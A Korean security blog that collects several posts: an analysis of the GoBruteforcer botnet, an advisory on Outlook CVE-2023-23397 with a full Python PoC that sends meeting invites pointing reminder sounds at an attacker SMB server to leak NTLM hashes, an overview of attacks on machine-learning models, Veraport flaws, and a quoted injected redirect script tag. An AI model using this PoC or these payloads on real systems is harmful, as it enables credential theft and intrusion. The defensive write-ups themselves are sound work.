1. 개요

- 최근 고 언어 기반의 스캐너 고브루트포서(GoBruteforcer)라는 봇넷 멀웨어가 새롭게 발견

- FTP, MySQL, phpMyAdmin, Postgre 서비스를 제공하는 서버를 대상으로 함

- 스캔을 통해 열려 있는 포트들을 찾아내면, Bruteforce 통해 침투 후 IRC 봇 유포

 

2. 동작방식 [1]

- 특정 서비스(phpMyAdmin, MySQL, FTP, Postgres)를 제공하는 웹 서버를 대상으로 스캔 후 Bruteforce로 액세스 시도\

※ Postgres: 확장 가능성 및 표준 준수를 강조하는 객체-관계형 데이터베이스 관리 시스템

- Bruteforce를 위한 계정 정보 및 C2 서버와 통신을 위한 명령은 스캐너 내에 하드코딩 되어있음

① 80_phpMyAdmin, 21_FTP, 3306_MySQL, 5432_Postgres 포트가 열린 웹 서버를 스캔

② 해당 서버가 phpMyAdmin인지, 다른 서버인지 확인 후 Bruteforce 수행

③ 공격자가 제어하는 C2와 통신하기 위해 서버의 유형에따라 통신 수단이 다름

> phpMyAdmin: 피해 시스템에 IRC 봇 유포

IRC(Internet Relay Chat) 봇
- IRC(Internet Relay Chat) 실시간 채팅 프로토콜에서 작동하는 자동화된 소프트웨어 프로그램
- 일반적으로 프로그래밍 언어의 스크립트로 작성되며, 채팅방에서 입력된 명령어를 인식하고 해당 명령에 따라 프로그래밍 된 동작을 수행

> 타 서비스: 피해 시스템에 웹 쉘 업로드

 

[사진 1] 공격 방식

2.1 네트워크 스캔

- 주어진 대상 IP 대역을 대상으로 phpMyAdmin, MySQL, FTP, Postgres 서비스 검색

[사진 2] 서비스 체크

2.1.1 phpMyAdmin 서비스

- 스캐너는 80 포트가 Open 되어있는지 확인

- 오픈된 포트를 찾은 경우 스캐너 내 하드코딩된 자격 증명 세트를 이용해 Bruteforce 수행

- 접속 성공 후 IRC 봇 배포 및 C2와 통신을 수행

> IRC 봇은 주기적인 실행을 위해 cron 등록

[사진 3] IRC 봇과 C2 간 통신

2.2.2 MySQL, Postgres 서비스

- 스캐너는 3306, 5432 포트가 Open 되어있는지 확인

- 오픈된 포트를 찾은 경우 서버 데이터베이스에 특정 사용자 계정으로 ping을 보냄

[사진 3] MySQL 쿼리(위) 및 Postgres 쿼리(아래)

 

- 이후, PostResult 모듈을 호출해 C2 서버와 통신

[사진 4] PostResult 모듈을 이용한 C2 통신

2.2.3 FTP

- 스캐너는 21 포트가 Open 되어있는지 확인

- 오픈된 포트를 찾은 경우 Golang용 FTP 클라이언트 패키지의 goftp라이브러리를 사용하여 서버에 인증 시도

[사진 5] FTP 인증 시도

2.2 C2 통신

- 피해자 서버에 업로드한 웹쉘을 통해 통신을 수행

- 웹쉘에는 리버스 쉘, 바인드 쉘 기능과 패킷 제작 기능이 있음

 

3. 대응방안

① 모니터링 강화

 

② 침해지표 IoC 등을 보안장비에 적용

- 참고의 IoC를 참고하여 적용[1]

 

4. 참고

[1] https://unit42.paloaltonetworks.com/gobruteforcer-golang-botnet/
[2] https://www.boannews.com/media/view.asp?idx=115111&kind=1&search=title&find=GoBruteforcer
[3] https://www.youtube.com/watch?v=_HV3gzZLPWM

'취약점 > Scanner' 카테고리의 다른 글

SIPVicious scanner  (0) 2022.12.09
Masscan Scanner  (0) 2022.10.06
ZGrab Scanner  (0) 2022.10.06

1. Microsoft Outlook

- 마이크로소프트 오피스의 구성 요소 (이메일 소프트웨어)

 

1.1 용어

용어 설명
MAPI 
(Messaging Application Programming Interface)
-  윈도우 응용프로그램(아웃룩 전자 메일 클라이언트) 내에서 전자우편을 보내거나, 자신이 현재 작성중인 문서를 전자우편 내용 위에 첨부할 수 있도록 해주는 등 Exchange 서버의 모든 기능을 완전히 사용할 수 있도록 하는 마이크로소프트의 독점 프로토콜
SMB
(Server Message Block)
- 다양한 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어진, 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜
- 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용
UNC 
(Universal Naming Convention)
- 공유 파일이 저장되어 있는 장치를 명시하지 않고서도 파일을 확인할 수 있는 방법.
- 파일, 폴더, 프린터 및 공유 리소스와 같은 네트워크 리소스를 식별하고 찾기 위해 Microsoft Windows 운영 체제에서 사용되는 명명 시스템
NTLM
(New-Technology LAN Manager)
윈도우에서 제공하고 있는 인증 프로토콜 중 하나로 Challenge-Response라고 불리는 인증 프로토콜 방식을 사용
- 최근에는 거의 쓰이지 않고 있으며 MS 에서도 사용을 권장하지 않으나, SMB 프로토콜에도 하위호환성을 위해 내장

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-23397 [1]

- Microsoft Outlook에서 발생하는 권한 상승 취약점으로, CVSS 9.8을 할당 받음

- 피해자가 메일을 읽지 않아도 공격자는 피해자의 NTLM 정보를 탈취할 수 있음

- 취약한 버전 목록 [2][3]

※ Android, iOS, Mac과 같은 다른 버전의 Microsoft Outlook과 웹용 Outlook 및 기타 M365 서비스는 영향을 받지 않음

제품명 버전 빌드
Current Channel Version 2302 Build 16130.20306
Monthly Enterprise Channel Version 2301 Build 16026.20238
Monthly Enterprise Channel Version 2212 Build 15928.20298
Semi-Annual Enterprise Channel (Preview) Version 2301 Build 16130.20306
Semi-Annual Enterprise Channel Version 2208 Build 15601.20578
Semi-Annual Enterprise Channel Version 2202 Build 14931.20944
Office 2021 Retail Version 2301 Build 16130.20306
Office 2019 Retail Version 2302 Build 16130.20306
Office 2016 Retail Version 2302 Build 16130.20306
Office LTSC 2021 Volume Licensed Version 2108 Build 14332.20481
Office 2019 Volume Licensed Version 1808 Build 10396.20023

 

2.1 공격 원리 [4][5][6]

[사진 2] 공격 과정 요약

- Outlook의 캘린더에는 약속한 일정을 사용자에게 알려주는 '미리 알림' 기능이 존재하며, 약속 기한이 지났을 때도 알림을 발생

 

- MAPI의 "PidLidReminderFileParameter"는 약속 기한이 지나, 지연 알림에 클라이언트가 재생할 사운드의 파일 경로(UNC)를 지정하는 데 사용됨 [7]

- 또한 "PidLidReminderOverride"는 PidLidReminderFileParameter 값을 신뢰할 것인지 결정 [8]

 

- 공격자는 메일에 "PidLidReminderFileParameter" 값을 공격자가 제어 가능한 SMB 서버로, "PidLidReminderOverride"을 true로 설정하여 전송

[사진 3] 악성 메일

 

2.2 PoC [9]

- 공격자가 제어하는 SMB서버의 주소를 BAD_ADDRESS 변수에 저장
- send_meeting_request()를 이용해 조작된 메일을 생성 및 전송

#!/usr/bin/env python3

__author__ = "William Golembieski"
__license__ = "Apache License 2.0"
__email__ = "william@armoryanalytics.com"

import win32com.client

OUTLOOK_FORMAT = '%m/%d/%Y %H:%M'
def outlook_date(dt): return dt.strftime(OUTLOOK_FORMAT)


class OutlookClient(object):
    def __init__(self):
        self.outlook = win32com.client.Dispatch('Outlook.Application')

    def send_meeting_request(self, subject, time, location, recipients, body, bad_location):
        mtg = self.outlook.CreateItem(1)
        mtg.MeetingStatus = 1
        mtg.Location = location
        for recipient in recipients:
            mtg.Recipients.Add(recipient)
        mtg.Subject = subject
        mtg.Start = outlook_date(time)
        mtg.Duration = 60
        mtg.ReminderMinutesBeforeStart = 30
        mtg.ResponseRequested = False
        mtg.Body = body
        mtg.ReminderSet = True
        mtg.ReminderOverrideDefault = True
        mtg.ReminderSoundFile = bad_location
        mtg.Save()
        mtg.Send()


if __name__ == "__main__":
    MEETING_SUBJECT:      str = "Test Of CVE-2023-23397"
    MEETING_BODY_TEXT:    str = "CVE-2023-23397 Test email"
    MEETING_LOCATION:     str = "Virtual"
    MEETING_RECIPIENTS: [str] = [
        'user@test.com',
        'user2@test.com'
    ]

    # External UNC location
    BAD_ADDRESS: str = "\\\\<your>.<bad>.<location>.<here>\\@<port>\\<file>.<extension>"

    import datetime
    ol = OutlookClient()

    # Set meeting time 3 hours from now
    meeting_time = datetime.datetime.now() + datetime.timedelta(hours=3)

    ol.send_meeting_request(MEETING_SUBJECT, meeting_time, MEETING_LOCATION, MEETING_RECIPIENTS, MEETING_BODY_TEXT,
                            BAD_ADDRESS)

 

3. 대응방안

① "PidLidReminderFileParameter"의 값이 UNC로 변경되었는지를 확인하여 피해 여부를 파악

- 3월 15일 Microsoft는 취약점이 Exchange 환경 내에 존재하는지 검사하는 스크립트 CVE-2023-23397.ps1 공개 [10]

⒜ 사전 준비

> Exchange Server (on-premises) : EMS(Exchange 관리 셸)에서 아래 PowerShell 명령을 실행

New-ThrottlingPolicy “CVE-2023-23397-Script”
Set-ThrottlingPolicy “CVE-2023-23397-Script” -EWSMaxConcurrency Unlimited -EWSMaxSubscriptions Unlimited -CPAMaxConcurrency Unlimited -EwsCutoffBalance Unlimited -EwsMaxBurst Unlimited -EwsRechargeRate Unlimited
Set-Mailbox -Identity “<UserWhoRunsTheScript>” -ThrottlingPolicy “CVE-2023-23397-Script”

> Exchange Online : 전역 관리자 또는 응용 프로그램 관리자 권한으로 실행

 

⒝ 점검 시작

⑴ 감사 모드(Audit Mode) : 스크립트는 속성이 채워진 항목의 세부 정보가 포함된 CSV 파일을 제공
> Exchange Server (on-premises)

Get-Mailbox -ResultSize Unlimited | .\CVE-2023-23397.ps1 -Environment Onprem

> Exchange Online

Get-Mailbox -ResultSize Unlimited | .\CVE-2023-23397.ps1 -Environment “Online”

⑵ 정리 모드(Cleanup Mode) : 스크립트는 속성을 지우거나 항목을 삭제하여 감지된 항목에 대한 정리를 수행
> Exchange Server (on-premises)

.\CVE-2023-23397.ps1 -Environment Onprem -CleanupAction ClearProperty -CleanupInfoFilePath <Path to modified CSV>

> Exchange Online

.\CVE-2023-23397.ps1 -CleanupAction ClearProperty -CleanupInfoFilePath <Path to modified CSV>

 

② 현재 사용중인 Outlook 버전 확인 후 최신 버전 업데이트 적용 [11]

- Outlook 실행 > 파일 > Office 계정 > Outlook 정보에 표시된 버전 확인

[사진 4] Outlook 버전 확인

 

③ 미리 알림 해제

- 옵션 > 고급 > 미리 알림 > ‘미리 알림 표시’ 체크 해제

> 단, 해당 메일을 열어 ‘다음 소리 재생(Play this sound)’을 체크하고 소리를 재생할 시 취약점이 발현됨

 

④ 업데이트 적용이 불가한 경우 다음의 임시조치 적용

- SMB 포트 차단
> TCP 445/SMB 아웃바운드 트래픽을 차단

 

- NTLM 인증 사용 차단.
> 보호된 사용자 보안 그룹(Protected Users Security Group)에 계정을 추가해 NTLM을 인증을 사용하지 못하도록 한다.
※ NTLM이 필요한 서비스에 영향을 미칠 수 있으므로 영향도 검토 필요

 

⑤ 보안 장비에 IoC 등 침해지표 등록

 

4. 참조

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-23397
[2] https://learn.microsoft.com/en-us/officeupdates/microsoft365-apps-security-updates
[3] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71019&menuNo=205020
[4] https://www.balbix.com/blog/urgent-action-recommended-microsoft-outlook-vulnerability-cve-2023-23397/
[5] https://www.bleepingcomputer.com/news/security/critical-microsoft-outlook-bug-poc-shows-how-easy-it-is-to-exploit/
[6] https://blog.cyble.com/2023/03/16/microsoft-outlook-zero-day-vulnerability-cve-2023-23397-actively-exploited-in-the-wild/
[7] https://learn.microsoft.com/en-us/office/client-developer/outlook/mapi/pidlidreminderfileparameter-canonical-property
[8] https://learn.microsoft.com/en-us/office/client-developer/outlook/mapi/pidlidreminderoverride-canonical-property
[9] https://github.com/BillSkiCO/CVE-2023-23397_EXPLOIT/blob/main/cve-2023-23397.py
[10] https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/
[11] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
[12] https://www.boannews.com/media/view.asp?idx=115328&page=1&kind=1
[13] https://www.boannews.com/media/view.asp?idx=115278
[14] https://www.boannews.com/media/view.asp?idx=115324
[15] https://zdnet.co.kr/view/?no=20230320103605 

1. 인공지능

- 인간의 학습능력, 추론능력, 지각능력을 인공적으로 구현하려는 컴퓨터 과학

- 인간의 지능을 기계 등에 인공적으로 시연(구현)한 것

- 인공지능 ⊃ 머신러닝 ⊃ 딥러닝

머신러닝 (Machine Learning) 비교 딥러닝 (Deep Learning)
기존 통계 기법 기반 기반 기술 인공 신경만 이용
미리 정의된 특징 추출 및 이를 기반으로 학습 학습 자동으로 특징 추출 및 이를 기반으로 학습
비교적 간단한 데이터 필요 데이터 대량 데이터
간단한 모델에서도 높은 예측 성공 예측 성능 복잡한 모델에서 높은 예측 성공
다양 분야 활용 활용 분야 이미지, 음성, 자연어 처리 분야에서 뛰어난 성능
전문적 지식 필요 없음 모델 설계 필요 지식 전문 지식 필요
빠른 학습 시간 학습 시간 오랜 학습 시간 
복잡한 계산식 불필요 계산식 복잡한 계산식 필요

 

2. 보안 취약점

- 챗GPT의 등장으로 인공지능 기술에 대한 관심은 더욱 높아짐

- 이미 챗GPT을 이용해 악성 앱을 만들어 사이버 공격에 활용하는 사례가 확인됨

① 사례1: PuTTY SSH와 텔넷 클라이언트를 다운로드 받는 자바 코드 생성

② 사례2: 완전 자동화 된 다크웹 시장 플랫폼 구축

③ 사례3: 데이터 암복호화에 사용가능한 파이썬 스크립트 블로피시(Blowfish)와 투피시(Twofish) 개발

 

2.1 적대적 공격 (Adversarial Attack)

- 적대적 공격: 딥 러닝의 심층 신경망을 이용한 모델에 적대적 교란(Adversarial Pertubation)을 적용하여 오분류를 유발하고 신뢰도 감소를 야기하는 머신러닝 공격 기법

- 공격 목적

- 신뢰도 감소: 모델에 대한 예측 신뢰도를 감소
- 오분류: 집단 A를 B, C, D, E 등 다른 집단으로 오분류 ex. STOP 표지판을 GO 또는 SLOW 등으로 오분류
- 출력 오분류: 집단 B, C, D, E 등을 하나의 집단 A로 오분류 ex. STOP 또는 SLOW 표지판을 GO로 오분류
- 입력 및 출력 오분류: 집단 A를 집단 B로 오분류 ex. STOP 표지판을 GO로 분류

 

① Poisoning attack (중독 공격, 오염 공격)

> 데이터셋에 악성 데이터를 삽입하는 것과 같이 의도적으로 악의적인 학습 데이터를 주입해 시스템 자체를 손상시키는 공격

> 모델 자체를 공격해서 모델에게 영향을 줌

> 예시: MS 인공지능 채팅봇 테이(Tay) 

- 2016년 MS는 인공지능 채팅봇 테이(Tay) 공개
- 악의적인 발언을 하도록 훈련시켜 차별적 발언을 남발
- 16시간 만에 서비스 중지

 

② Evasion attack (회피 공격)

> 입력 데이터에 최소한의 변조를 가해 머신러닝을 속이는 기법

> 인간의 눈으로 식별하기 어려운 노이즈 데이터를 삽입하여 변조

> 예시: 2016년 테슬라 원격 주행 자동차가 해킹

- 2016년 테슬라 원격 주행 자동차가 해킹으로 원격조종 영상 공개
- 2017년 워싱턴대학의 연구팀의 증명
- 도로 교통 표지판에 스티커 부착만으로 자율주행차의 표지판 인식 모듈이 ‘정지’ 표시를 ‘속도제한’ 표시로 오인식

 

③ Inversion attack (전도 공격, 학습 데이터 추출 공격) 

> 데이터 분류를 위한 머신러닝은 주어진 입력에 대한 분류 결과와 신뢰도를 함께 출력

> 주어진 입력에 대해 출력되는 분류 결과와 신뢰도(Confidence)를 분석하여 역으로 데이터를 추출

> 예시: 2021년 6월 애플, 구글, 하버드대학, 스탠포드대학 등의 공동 논문

- 인공지능 모델을 훈련시키는 데이터를 추출하여 개인 식별 정보 등 민감 정보를 빼내는 데 성공
- 당시 실험에 사용되던 모델은 GPT2로 챗GPT보다 한 단계 전의 모델

 

④ Model extraction attack (모델 추출 공격)

> 공개된 API가 있는 학습 모델의 정보를 추출하는 공격 기법

> 기존 모델이 어떻게 이루어져 있는지 알 수 없지만 API를 통해 얻어진 정보로 기능적으로 비슷한 모델을 구현

> 예시: 2016년 ‪Florian Tramèr‬의 Stealing Machine Learning Models via Prediction APIs

- 70초 동안 650번 쿼리만으로도 아마존 머신러닝 모델과 유사한 모델을 만들어 내는 것이 가능하다는 연구결과

 

2.2 이 외 문제

① 스팸 필터를 속이는 스팸 메일

> 스팸 방지 필터는 스팸 지수와 같은 차단한 근거를 생성 > 지속적으로 메일을 보내 스팸 필터 모델의 작동 기준 재구성

 

② 정교해진 피싱 메일

> 해커 포럼에 머신러닝을 활용한 메일 자동 생성 서비스가 판매 되는 중

 

③ 패스워드 해킹

> 대입 공격에 사용되는 데이터셋의 질 향상과 탈취한 패스워드의 해시를 해독하는데 머신러닝 활용

 

④ 딥 페이크

> 실제 사람과 분간하기 어려운 비디오나 오디오를 생성

 

⑤ 보안 도구 우회 

> 보안 장비의 탐지를 우회하고 공격 도구를 보호하는데 머신러닝 활용

 

⑥ 공격 대상 정찰

> 머신러닝 기반의 스캔 도구 개발 가능성

 

⑦ 자동화 멀웨어

> C2 접근 등이 차단된 경우에도 공격을 지속할 수 있는 지능적인 멀웨어 등장 가능성

 

3. 대응방안

① 최소극대화(Minimax)

> 적대적 생성 신경망(Generative Adversarial Network, GAN): 생성 모델과 식별 모델이 서로 경쟁하여 손실이 최소화된 데이터를 생성하는 모델

 

② 적대적 예제 학습

> 학습 과정에 적대적 예제를 추가 학습데이터로 활용

> Defense-GAN: 생성 이미지와 적대적 예제의 차이를 최소화하는 새로운 생성 데이터(z')을 만들어 기존 GAN 학습

 

③ 결과값으로부터 역추론을 할 수 없도록 결과값을 숨기거나 변환

 

4. 참고

[1] https://www.kisec.com/rsrh_rpt_det.do?id=221

[2] https://www.kisec.com/rsrh_rpt_det.do?id=241 

[3] https://itwiki.kr/w/%EC%A0%81%EB%8C%80%EC%A0%81_%EA%B3%B5%EA%B2%A9

[4] https://www.ciokorea.com/news/240019

[5] https://www.boannews.com/media/view.asp?idx=114975&page=1&kind=1

1. Veraport

- (주)위즈베라에서 개발한 인터넷 뱅킹 이용시 필요한 보안 프로그램을 통합 설치해주는 솔루션

 

1.1 동작방식

① 은행 웹사이트가 hxxps://127.0.0.1:16106(베라포트의 로컬 웹서버)에 연결해서 JSONP 요청 전송

> getAxInfo와 같은 명령어를 사용해 웹사이트에서 설치 정책을 다운

send_command("getAxInfo", {
  "configure": {
    "domain": "http://banking.example/",
    "axinfourl": "http://banking.example/wizvera/plinfo.html",
    "type": "normal",
    "language": "eng",
    "browser": "Chrome/106.0.0.0",
    "forceinstall": "TouchEnNxKeyNo",
  }
});

 

② 베라포트가 정책파일을 다운로드해서 검증

<pluginInstallInfo>
  <version>2.2</version>
  <createDate>2022/02/18 17:04:35</createDate>
  <allowDomains>www.citibank.co.kr;*.citibank.co.kr;cbolrnd.apac.nsroot.net</allowDomains>
  <allowContexts/>
  <object type="Must">
    <objectName>TouchEnNxKeyNo</objectName>
    <displayName>TouchEnNxKey-multi64</displayName>
    <objectVersion>1.0.0.73</objectVersion>
    <signVerify>confirm</signVerify>
    <hashCheck>ignore</hashCheck>
    <browserType>Mozilla</browserType>
    <objectMIMEType>
      file:%ProgramFiles(x86)%\RaonSecure\TouchEn nxKey\TKMain.dll
    </objectMIMEType>
    <downloadURL>
      /3rdParty/raon/TouchEn/nxKey/nxKey/module/
      TouchEn_nxKey_Installer_32bit_MLWS_nonadmin.exe /silence
    </downloadURL>
    <backupURL>
      /3rdParty/raon/TouchEn/nxKey/nxKey/module/
      TouchEn_nxKey_Installer_32bit_MLWS_nonadmin.exe
    </backupURL>
    <systemType>64</systemType>
    <javascriptURL/>
    <objectHash/>
    <extInfo/>
    <policyInfo/>
    <description/>
  </object>
  <object type="Must">
    …
  </object>
  …
</pluginInstallInfo>

 

③ 베라포트는 objectMIMEType 항목을 통해서 애플리케이션의 설치여부 확인

>  설치가 안되었을 경우 downloadURL, backupURL 항목을 사용해 설치파일 다운

 

④ 베라포트의 사용자 인터페이스를 통해 해당 파일 다운로드

> type 설정 매개변수에 의해 "관리(manage)모드"와 "일반(normal)모드"로 나뉘어짐

[사진 1] Veraport 동작 과정 요약

2. 취약점

- 취약점 요약

① 서명 유효성 검사에 사용되는 루트 인증서 중 하나는 MD5 해싱과 1024비트 RAS키 사용 > 지원 중단이 10년 넘음.
② 다운로드를 위한 연결에 HTTPS를 강제하지 않으며 HTTPS가 사용될 때도 서버 인증서를 검증하지 않음
다운로드한 파일의 무결성을 올바르게 검증하지 않음 > 애플리케이션 서명 유효성 검사를 쉽게 우회할 수 있음
④ 무결성 검증을 쉽게 우회할 수 없더라도 베라포트는 손상된 바이너리를 사용할 지 여부를 사용자 결정에 의존
⑤ 사용자의 선택이나 기타 피드백 없이 애플리케이션을 다운로드하고 설치하는 동작을 시작할 수 있음
웹사이트에서 소프트웨어를 배포하며, 이미 알려진 보안 문제가 있는 오래된 애플리케이션을 제공
⑦ 공개적으로 유출된 서명인증서나 악의적인 정책파일을 철회할 수 있는 장치가 없음
⑧ hxxps://127.0.0.1:16106에서 동작하는 베라포트의 로컬 웹서버에는 영구적 XSS 을 비롯한 여러 보안취약점이 존재

 

2.1 전송 데이터 보호 부족 문제

- HTTPS 연결을 강제하지 않음 > 모든 다운로드는 암호화되지 않은 HTTP 연결을 통해 다운로드

- HTTPS 연결 테스트시 서버의 정당성을 확인하지 않음 > 악성 서버가 hxxps://download.example로 가장한 경우에도 베라포트는 다운로드를 수행

※ 두 번째 이유는 잘 모르겠음

HTTPS Handshaking 과정 중 Server Hello 패킷을 통해 서버의 SSL 인증서를 전송하며, 클라이언트는 이를 검증

공격자가 애초에 SSL 인증서를 사용해 악성 사이트로 가장한 경우에대한 검증인지

혹은 다른 무엇이 있는지에 대한 의문

 

2.2 신뢰 도메인 범위 문제

- 'allowedDomains'에 표시된 URL을 신뢰

> 1.1 동작방식 ②에서는 *.citibank.co.kr를 신뢰 도메인으로 지정

> *.citibank.co.kr는 citibank.co.kr의 모든 하위 도메인을 신뢰한다는 의미

> 서브 도메인 탈취, 웹 사이트 해킹 등으로 악성 사이트를 만들 수 있으며, 악성 파일 유포가 가능해짐

※ 이와 관련된 공격 행위는 2020년 이미 발생한 것으로 확인됨

참고: https://threatpost.com/hacked-software-south-korea-supply-chain-attack/161257/

 

2.3 서명키 보관 문제

- 인증서 발급에 이미 사용이 중단된 알고리즘을 사용

> 1024비트 키와 MD5 서명은 오래전에 사용이 중단되었으며며, 브라우저에서는 이러한 인증기관의 단계적인 제거를 10년전에 시작

※ 참고: https://wiki.mozilla.org/CA:MD5and1024

Authority name Validity Key size Signature algorithm
axmserver 2008-11-16 to 2028-11-11 1024 MD5
VERAPORT Root CA 2020-07-21 to 2050-07-14 2048 SHA256

 

- MS에서는 인증 기관에 대한 요구 사항 중 루트 인증서는 배포 신청일로부터 25년 이내에 만료되어야 한다고 말함

※ 참고: https://learn.microsoft.com/en-us/previous-versions//cc751157(v=technet.10)#a-root-requirements

 

2.4 다운로드 파일 무결성 검증 문제

- 정책 파일에는 다운로드에 대한 해시 기반 검증 옵션이 있음 > 모든 웹사이트에서 이 기능은 사용되지 않음

> 2.2 신뢰도메인 문제를 악용해 공격자가 조작하는 웹 사이트에서 파일 다운로드 및 실행이 가능함

<hashCheck>ignore</hashCheck>

 

2.5 정보 유출 문제

- 베라포트 서버에서 지원하는 명령 중 'checkProcess' 명령이 있음

> 애플리케이션 이름을 넘겨주면 현재 실행 중인 경우 프로세스에 대한 정보를 반환

> 아래와 같이 애플리케이션 이름으로 *를 입력하면 사용자가 어떤 애플리케이션을 실행하고 있는지알 수 있음

> getPreDownInfo 명령을 통한 접근도 가능

let processes = send_command("checkProcess", "*");

 

2.6 HTTP 응답 분할 문제

- HTTP 응답을 생성하는 모든 라이브러리들이 헤더 이름이나 값에서 줄바꿈 문자를 금지한 후 거의 사라진 취약성 종류

> Veraport는 그러한 라이브러리를 사용하지 않으며, 이를 통한 XSS 공격이 가능함

 

3. 조치

- 블라디미르 팔란트

> 2023년 02월 22일 KrCERT에 보고 및 같은 날 KrCERT가 위즈베라에 전달

 

- 위즈베라

> 2월 28일 Veraport 3.8.6.5 출시

> 해당 버전의 경우 제보한 취약점이 수정된 것으로 확인됨

① HTTPS 연결에 대해 서버 유효성 검사
② HTTP 다운로드를 HTTPS로 업그레이드 하여 신뢰할 수 없는 네트워크가 더 이상 설치를 조작할 수 없게함
③ 애플리케이션에 대한 설명을 변경할 수 없음
④ XSS 취약점은 베라포트의 로컬 서버에서 제거 및 JSONP 엔드포인트는 콜백 이름을 허용된 문자 집합으로 제한
⑤ OpenSSL은 Veraport 3.8.6.5에서 버전 1.1.1t로 업데이트 등

 

3.1 남은 문제들

① 2023.03.01 기준 일부 은행 사이트에서만 최신 베라포트(버전 3.8.6.4) 지원

② checkProcess는 2021.10.29 패치되었지만, getPreDownInfo 명령을 통한 접근은 최신 버전에서도 사용 가능

③ mongoose 5.5 라이브러리를 로컬 웹 서버에 사용 > 업그레이드되고 있지 않는 라이브러리

mongoose: 몽고DB와 Express.js 웹 애플리케이션 프레임워크 간 연결을 생성하는 자바스크립트 객체 지향 프로그래밍 라이브러리

④ 임의의 애플리케이션을 강제로 설치할 수 있는 권한이 있음
⑤ 오래된 루트 인증서(1024비트, MD5)가 애플리케이션에 여전히 존재함 등

 

4. 참고

[1] https://palant.info/2023/03/06/veraport-inside-koreas-dysfunctional-application-management/
[2] https://github.com/alanleedev/KoreaSecurityApps/blob/main/05_wizvera_veraport.md

1. 개요

- 동아시아 사용자들이 주로 방문하는 웹사이트 수천 개가 침해

※ 최소 10,000개의 웹사이트를 손상시켰으며, 대부분은 중소기업이나 개인이 운영하는 사이트며, 대기업에서 운영하는 사이트도 일부 존재

- 이 사이트들에 접속하려 하면 방문자들은 해당 사이트가 아니라 성인 또는 도박 사이트로 리디렉션

- 2022.09부터 시작된 것으로 보이며, 공격자들은 FTP 크리덴셜을 활용

- 크리덴셜 정보를 탈취한 경로와 초기 웹 서버에 접속하는 방식 등 공격 백터를 특정하지 못했으나, 공격이 지속되어 공개

 

1.1 리다이렉션

- 리다이렉션: 이용자가 A가 웹 사이트 B에 접속 시 작업, 오류 등의 사유로 이용자 A를제 3의 사이트 C로 이동시키는 것

> 목적 사이트를 결정하기 위해 신뢰되지 않은 데이터를 사용하고, 이에 대한 적절한 검증이 없을 경우

> 공격자가 조작한 성인, 피싱, 악성 사이트 등으로 리다이렉트되는 취약점

[사진 1] 리다이렉션 취약점 요약

2. 분석

- 공격자들은 사이버 공격을 통해 취득된 정당한 FTP 자격 정보를 이용해 이용자들을 2022.09부터 성인 또는 도박 사이트로 리다이렉션

- 호스팅 업체와 웹사이트 구축에 사용된 기술의 차이로 공격자들이 어떤 식으로 침해하는지 밝혀내는 것이 어려웠음

 

- 침해된 웹 사이트의 경우 다음 2가지 공통점을 가짐

① 중국 또는 다른 곳에서 호스팅 되지만 중국 관객을 대상으로 서비스
② FTP 포트(21)가 열려 있는 서버 또는 다른 FTP 엔드포인트를 통해 접근

 

2.1 공격 방식

- 동아시아에서 호스트되고 있는 Azure Web Apps 중에 사용자를 성인용 웹사이트로 리디렉션하는 몇 가지 부정 액세스가 확인됨

- 브루트포스 등 취약한 계정을 사용한 FTP 서버에 접속해 웹 페이지 변경을 수행한 것으로 판단됨.

- 관련 FTP 로그를 분석해 본 결과, 172.81.104[.]64부터의 접근이 확인됨.

※ 중국 IP를 가진 허니팟을 구성한 결과, 해당 IP로 부터의 접근이 다수 확인

[사진 2] 공격 방식 요약

 

- 피해 웹사이트접속시 격에 호스팅 되어 있는 자바스크립트를 다운하는 HTML 코드가 한 줄씩 추가되어 있었음.

tpc[.]googlesyndication[.]com(페이지내 표시된 광고를 클릭했을 경우 발생되는 트래픽) 등 정규 서비스로 위장

※ 하위 도메인 com을 다른 도메인으로 변경

<script type="text/javascript" src="https://tpc.googlesyndication[.]wiki/sodar/sodar2.js"></script>

 

- 자바 스크립트의 경우 다음 2가지의 공통점을 가짐

① 자바스크립트 실행을 동아시아 특정 국가에서 접속한 사용자로 제한

② User-Agent와 Refferes를 참조 및 웹 크롤러 목록과 대조해 크롤러를 사용한 경우 해당 요청 무시

 

- 자바스크립트 유포 사이트는 정상 URL과 유사한 형태로 목록은 다음과 같음

※ 취소선이 표시된 경우 현재는 Offline

※ 정상 사이트와 비교 표

Malicious URL Legitimate URL
tpc.googlesyndication[.]wiki/sodar/sodar2.js tpc.googlesyndication[.]com/sodar/sodar2.js
beacon-v2.helpscout[.]help/static/js/vendor.06c7227b.js beacon-v2.helpscout[.]net/static/js/vendor.06c7227b.js
cdn.jsdelivr[.]autos/npm/jquery/dist/jquery.min.js cdn.jsdelivr[.]net/npm/jquery/dist/jquery.min.js
minjs[.]us/static/js/min.js */static/js/min[.]js
www.metamarket[.]quest/market.js www[.]metamarket[.]com
cdn-go[.]net/vasdev/web_webpersistance_v2/v1.8.2/flog.core.min.js cdn-go[.]cn/vasdev/web_webpersistance_v2/v1.8.2/flog.core.min.js
a.msstatic[.]net/main3/common/assets/template/head/ad.tmpl_a9b7.js a.msstatic[.]com/huya/main3/*

 

2.2 리다이렉션 스크립트

- 자바스크립트는 동작 조건는 다음과 같음

① 스크립트가 실행되면 0~1의 난수가 계산되며, 난수가 확률치보다 작은 경우 cookie를 설정한 후 srcAddress에 나열된 웹 사이트로 리다이렉션

※ 해당 cookie는 24시간 후 만료되도록 설정됨

 

② 이미 cookie가 설정된 사용자가 접근할 경우 즉시 srcAddress에 나열된 웹 사이트로 리다이렉션

 

③ 사용자가 모바일로 접속하고, 몇 가지 조건을 충족시키면 downloadSrc 필드에 나열된 리소스로 리디렉션되어 앱 다운

※ 조건 1: 안드로이드 브라우저(모바일용 웹 브라우저) 사용

※ 조건 2: config.androidApk 플래그가 스크립트로 활성화된 경우

 

④ User-Agent헤더 값을 알려진 웹 크롤러 목록과 비교하여 웹 크롤러인 경우 해당 요청 무시

※ User-Agent헤더 값이 알려진 웹 크롤러이며, Refferes헤더 값이 알려진 웹 브라우저일 경우 리다이렉션되지 않음

※ 스크립트에 표시된 크롤러 목록

